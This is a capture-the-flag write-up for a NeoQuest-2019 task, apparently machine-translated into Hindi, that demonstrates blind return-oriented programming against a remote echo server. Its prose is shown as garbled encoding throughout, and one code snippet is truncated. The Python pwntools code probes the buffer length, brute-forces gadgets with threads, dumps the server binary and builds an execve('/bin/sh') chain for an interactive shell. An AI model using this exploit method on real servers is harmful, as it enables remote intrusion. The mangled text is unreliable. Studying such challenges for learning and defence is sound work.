рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд┐рдирд╛ рдПрдХ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрджреНрдпрддрд╛ рдХреИрд╕реЗ рдЦреЛрдЬреЗрдВ? рдмреАрдЖрд░рдкреА рдЖрд░рдУрдкреА рд╕реЗ рдХреИрд╕реЗ рдЕрд▓рдЧ рд╣реИ? рдХреНрдпрд╛ рдмрдлрд░ рдУрд╡рд░рдлрд╝реНрд▓реЛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ? рдмрд┐рд▓реНрд▓реА рдореЗрдВ рдЖрдкрдХрд╛ рд╕реНрд╡рд╛рдЧрдд рд╣реИ, рд╣рдо рдЗрди рд╕рд╡рд╛рд▓реЛрдВ рдХреЗ рдЬрд╡рд╛рдм рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ
Neoquest-2019 рдХрд╛рд░реНрдп рдХреЛ рдкрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдкрд░!
рд╕рд░реНрд╡рд░ рдХрд╛ рдкрддрд╛ рдФрд░ рдкреЛрд░реНрдЯ
рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ :
213.170.100.211 10000 ред рдЖрдЗрдП рдЗрд╕рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ:
рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ - рдХреБрдЫ рдЦрд╛рд╕ рдирд╣реАрдВ, рдПрдХ рдирд┐рдпрдорд┐рдд рдЗрдХреЛ рд╕рд░реНрд╡рд░: рд╡рд╣реА рдЪреАрдЬрд╝ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬреЛ рд╣рдордиреЗ рдЦреБрдж рдЙрд╕реЗ рднреЗрдЬреА рдереАред
рдкреНрд░реЗрд╖рд┐рдд рдбреЗрдЯрд╛ рдХреЗ рдЖрдХрд╛рд░ рдХреЗ рд╕рд╛рде рдЦреЗрд▓рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рд▓рдВрдмреА рд▓рд╛рдЗрди рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рд╕рд╛рде, рд╕рд░реНрд╡рд░ рдЦрдбрд╝рд╛ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХрдиреЗрдХреНрд╢рди рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ:
рд╣рдореНрдо, рдпрд╣ рдПрдХ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХреА рддрд░рд╣ рд▓рдЧрддрд╛ рд╣реИред
рдмрдлрд░ рдХреА рд▓рдВрдмрд╛рдИ рдЬреНрдЮрд╛рдд рдХреАрдЬрд┐рдПред рдЬрдм рддрдХ рд╣рдо рд╕рд░реНрд╡рд░ рд╕реЗ рдЧреИрд░-рдорд╛рдирдХ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░рддреЗ, рдЖрдк рдЙрдиреНрд╣реЗрдВ рдорд╛рдиреЛрдВ рдореЗрдВ рд╡реГрджреНрдзрд┐ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдФрд░ рдЖрдк рдереЛрдбрд╝рд╛ рд╕рд░рд▓рддрд╛ рджрд┐рдЦрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рджреНрд╡рд┐рдЖрдзрд╛рд░реА рдЦреЛрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЧрддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдз рдХреЗ рдмрд╛рдж рджреБрд░реНрдШрдЯрдирд╛рдЧреНрд░рд╕реНрдд рд╣реЛ рдЧрдпрд╛ рдпрд╛ рдирд╣реАрдВ рдЧрд┐рд░рд╛ред
рдмрдлрд░ рд▓рдВрдмрд╛рдИ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдгfrom pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end)

рддреЛ, рдмрдлрд░ рдХреА рд▓рдВрдмрд╛рдИ 136 рд╣реИред рдпрджрд┐ рдЖрдк рд╕рд░реНрд╡рд░ рдХреЛ 136 рдмрд╛рдЗрдЯ рднреЗрдЬрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рд╕реНрдЯреИрдХ рдкрд░ рд╣рдорд╛рд░реА рд▓рд╛рдЗрди рдХреЗ рдЕрдВрдд рдореЗрдВ рдирд▓ рдмрд╛рдЗрдЯ рдорд┐рдЯрд╛ рджреЗрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ - рдорд╛рди 0x400155 рд╣реИред рдФрд░ рдпрд╣, рдЬрд╛рд╣рд┐рд░рд╛ рддреМрд░ рдкрд░, рд╡рд╛рдкрд╕реА рдХрд╛ рдкрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣, рд╣рдо рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рд╣реИ, рдФрд░ рд╣рдореЗрдВ рдирд╣реАрдВ рдкрддрд╛ рдХрд┐ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ ROP рдЧреИрдЬреЗрдЯ рдХрд╣рд╛рдВ рд╣реИрдВ рдЬреЛ рд╣рдореЗрдВ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ?
рдПрдХ рд╡рд┐рд╢реЗрд╖ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдХреА рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рд╡рд╛рдкрд╕реА рдкрддрд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЛ -
рдмреНрд▓рд╛рдЗрдВрдб рд░рд┐рдЯрд░реНрди рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ ред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдмреАрдЖрд░рдкреА рдЧреИрдЬреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдПрдХ рдЕрдВрдзрд╛ рд╕реНрдХреИрди рд╣реИред рд╣рдо рдкрд╛рда рдЦрдВрдб рд╕реЗ рдХреБрдЫ рдкрддреЗ рдХреЗ рд╕рд╛рде рд╡рд╛рдкрд╕реА рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рд╕реНрдЯреИрдХ рдкрд░ рд╡рд╛рдВрдЫрд┐рдд рдЧреИрдЬреЗрдЯ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВред рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдПрдХ рдзрд╛рд░рдгрд╛ рдкреИрджрд╛ рд╣реЛрддреА рд╣реИ рдХрд┐ рд╣рдордиреЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рдпрд╛ рдирд╣реАрдВред рд╡рд┐рд╢реЗрд╖ рд╕рд╣рд╛рдпрдХ рдЧреИрдЬреЗрдЯ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднреВрдорд┐рдХрд╛ рдирд┐рднрд╛рдИ рдЬрд╛рддреА рд╣реИ -
рд╕реНрдЯреЙрдк (рдЗрд╕рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреА рд╕рдорд╛рдкреНрддрд┐ рдХреЗ рд▓рд┐рдП рдиреЗрддреГрддреНрд╡ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛) рдФрд░
рдЯреНрд░реИрдк (рдЗрд╕рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕реЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдЧрд╛)ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкрд╣рд▓реЗ рд╕рд╣рд╛рдпрдХ рдЧреИрдЬреЗрдЯ рдкрд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рдЙрдирдХреА рдорджрдж рд╕реЗ рдЖрд╡рд╢реНрдпрдХ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЦреЛрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ (рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ,
рд▓рд┐рдЦрдиреЗ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)ред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдЧреИрдЬреЗрдЯ рдвреВрдВрдврдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ рд╕реНрдЯреИрдХ рд╕реЗ рдПрдХ рдорд╛рди рдХреЛ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд░рдЦрддрд╛ рд╣реИ рдФрд░
рд░рд┐рдЯрд╛рдпрд░ рдХрд░рддрд╛ рд╣реИред рд╣рдо рдЗрд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╛рдкрд╕реА рдкрддреЗ рдХреЗ рдмрдЬрд╛рдп рдкрд░реАрдХреНрд╖рдг рдХрд┐рдП рдЧрдП рдкрддреЗ рдХреЛ рд░рд┐рдХреЙрд░реНрдб рдХрд░реЗрдВрдЧреЗред рдЗрд╕рдХреЗ рдмрд╛рдж, рд╣рдо
рдЯреНрд░реИрдк рдЧреИрдЬреЗрдЯ рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдЬреЛ рд╣рдореЗрдВ рдкрд╣рд▓реЗ рдорд┐рд▓рд╛ рдерд╛, рдФрд░ рдЗрд╕рдХреЗ рдкреАрдЫреЗ
рд╕реНрдЯреЙрдк рдЧреИрдЬреЗрдЯ рдХрд╛ рдкрддрд╛ рд╣реИред рдЕрдВрдд рдореЗрдВ рдХреНрдпрд╛ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ: рдпрджрд┐ рд╕рд░реНрд╡рд░ рдХреНрд░реИрд╢ рд╣реЛ рдЧрдпрд╛ (
рдЯреНрд░реИрдк рдХрд╛рдо рдХрд┐рдпрд╛), рддреЛ рдЧреИрдЬреЗрдЯ рд╡рд░реНрддрдорд╛рди рдкрд░реАрдХреНрд╖рдг рдкрддреЗ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ, рдЬреЛ рдорд╛рдВрдЧреЗ рдЧрдП рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛: рдпрд╣ рд╕реНрдЯреИрдХ рд╕реЗ
рдЯреНрд░реИрдк рдЧреИрдЬреЗрдЯ рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд╣рдЯрд╛рддрд╛ рд╣реИред рдпрджрд┐
рд╕реНрдЯреЙрдк рдиреЗ рдХрд╛рдо рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рд╡рд░реНрддрдорд╛рди рдЧреИрдЬреЗрдЯ рд╡рд╣реА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рдвреВрдВрдв рд░рд╣реЗ рд╣реИрдВ: рдЗрд╕рдиреЗ рд╕реНрдЯреИрдХ рд╕реЗ рдПрдХ рдорд╛рди рд╣рдЯрд╛ рджрд┐рдпрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЖрдк рдЙрди рдЧреИрдЬреЗрдЯреНрд╕ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рд╕реЗ рдореЗрд▓ рдЦрд╛рддреЗ рд╣реИрдВред

рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЦреЛрдЬ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рдо рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреБрдЫ рдореВрд▓реНрдп рдЫрд╛рдк рд░рд╣рд╛ рд╣реИред рдЖрдк рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдкрддреЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдФрд░ рдпрд╣ рджреЗрдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд╣рдо рдЙрд╕ рдХреЛрдб рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдлрд┐рд░ рд╕реЗ рд▓рд╛рдЗрди рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред
рдЧреИрдЬреЗрдЯ рдХреА рдЦреЛрдЬ lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)
рд╣рдо рдЗрд╕ рд░рд┐рд╕рд╛рд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?
рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ рдкрдВрдХреНрддрд┐ рд▓рд┐рдЦрддрд╛ рд╣реИред рдЬрдм рд╣рдо
0x40016f рдкрддреЗ рдкрд░
рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдЙрдЯрдкреБрдЯ рдлрд╝рдВрдХреНрд╢рди
рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдХрдЪрд░реЗ рд╕реЗ рднрд░реЗ рд╣реЛрддреЗ рд╣реИрдВред рдЪреВрдВрдХрд┐, рд╡рд╛рдкрд╕реА рдкрддреЗ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рд╣рдо 64-рдмрд┐рдЯ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо
рдХрд░ рд░рд╣реЗ рд╣реИрдВ , рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ
рд╕реНрдерд┐рдд рд╣реИрдВ ред
рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛрдЧрд╛ рдЕрдЧрд░ рд╣рдореЗрдВ рдХреЛрдИ рдРрд╕рд╛ рдЧреИрдЬреЗрдЯ рдорд┐рд▓ рдЬрд╛рдП рдЬреЛ рд╣рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ (рдЙрдиреНрд╣реЗрдВ рд╕реНрдЯреИрдХ рд╕реЗ рд╡рд╣рд╛рдВ рд▓реЗ рдЬрд╛рдП)? рдЖрдЗрдП рдЙрд╕реА рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рд╣рдо рд╕реНрдЯреИрдХ рдкрд░ рдХреЛрдИ рднреА рдореВрд▓реНрдп рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ, рд╣реИ рдирд╛? рдЗрд╕рд▓рд┐рдП, рд╣рдореЗрдВ рдПрдХ рдкреЙрдк-рдЧреИрдЬреЗрдЯ рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рдЖрдЙрдЯрдкреБрдЯ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╣рдорд╛рд░реЗ рдореВрд▓реНрдп рдХреЛ рд╡рд╛рдВрдЫрд┐рдд рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдбрд╛рд▓ рджреЗрдЧрд╛ред рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдкрддреЗ рдХреЗ рд░реВрдк рдореЗрдВ ELF рдлрд╝рд╛рдЗрд▓ (
0x400000 ) рдХреА рд╢реБрд░реБрдЖрдд рдХрд╛ рдкрддрд╛ рд╕реЗрдЯ рдХрд░реЗрдВред рдЕрдЧрд░ рд╣рдореЗрдВ рд╕рд╣реА рдЧреИрдЬреЗрдЯ рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд░реНрд╡рд░ рдХреЛ рдЬрд╡рд╛рдм рдореЗрдВ рд╣рд╕реНрддрд╛рдХреНрд╖рд░
7F 45 4C 46 рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
рдЧреИрдЬреЗрдЯ рдЦреЛрдЬ рдЬрд╛рд░реА рд╣реИ def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)

рдкрддреЛрдВ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдЧреБрдЪреНрдЫрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдо рд╕рд░реНрд╡рд░ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрдВрдк рдХрд░рддреЗ рд╣реИрдВред
рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдХрд░реНрд╖рдг def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None
рдЖрдЗрдП рдЗрд╕реЗ рдЖрдИрдбреАрдП рдореЗрдВ рджреЗрдЦреЗрдВ:
рдкрддрд╛
0x40016f рд╣рдореЗрдВ
syscall рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░
0x40017f рдкреЙрдк rsi рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ;
рд░рд┐рдЯрд╛рдпрд░ ред
рдЕрдм рдЬрдм рдЖрдкрдХреЗ рд╣рд╛рде рдореЗрдВ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдЖрд░рдУрдкреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд▓рд╛рдЗрди
/ рдмрд┐рди / рд╢ рднреА рдЗрд╕рдореЗрдВ рдереА !
рд╣рдо рдПрдХ рдЪреЗрди рдмрдирд╛рддреЗ рд╣реИрдВ рдЬреЛ
/ рдмрд┐рди / рд╢ рддрд░реНрдХ рдХреЗ рд╕рд╛рде
рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛
рд╣реИ ред 64-рдмрд┐рдЯ рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП,
рдпрд╣рд╛рдБ ред
рдЕрдВрддрд┐рдо рдереЛрдбрд╝рд╛ рдХрджрдо def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()
рд╢реЛрд╖рдг рдЪрд▓рд╛рдПрдБ рдФрд░ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:
рдЬреАрдд!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433рдмрд╣реБрдд рдЬрд▓реНрдж, рдирд╡рдЯреНрд░реЗрд╕реНрдЯ -2019 рдХреЗ рдСрдирд▓рд╛рдЗрди рдЪрд░рдг рдХреЗ рдЕрдиреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП vraytaps рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ред рдФрд░ "рдЯрдХрд░рд╛рд╡" 26 рдЬреВрди рдХреЛ рд╣реЛрдЧрд╛! рдЗрд╡реЗрдВрдЯ
рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдЧреА рдЦрдмрд░, рдпрд╛рдж рдордд рдХрд░реЛ!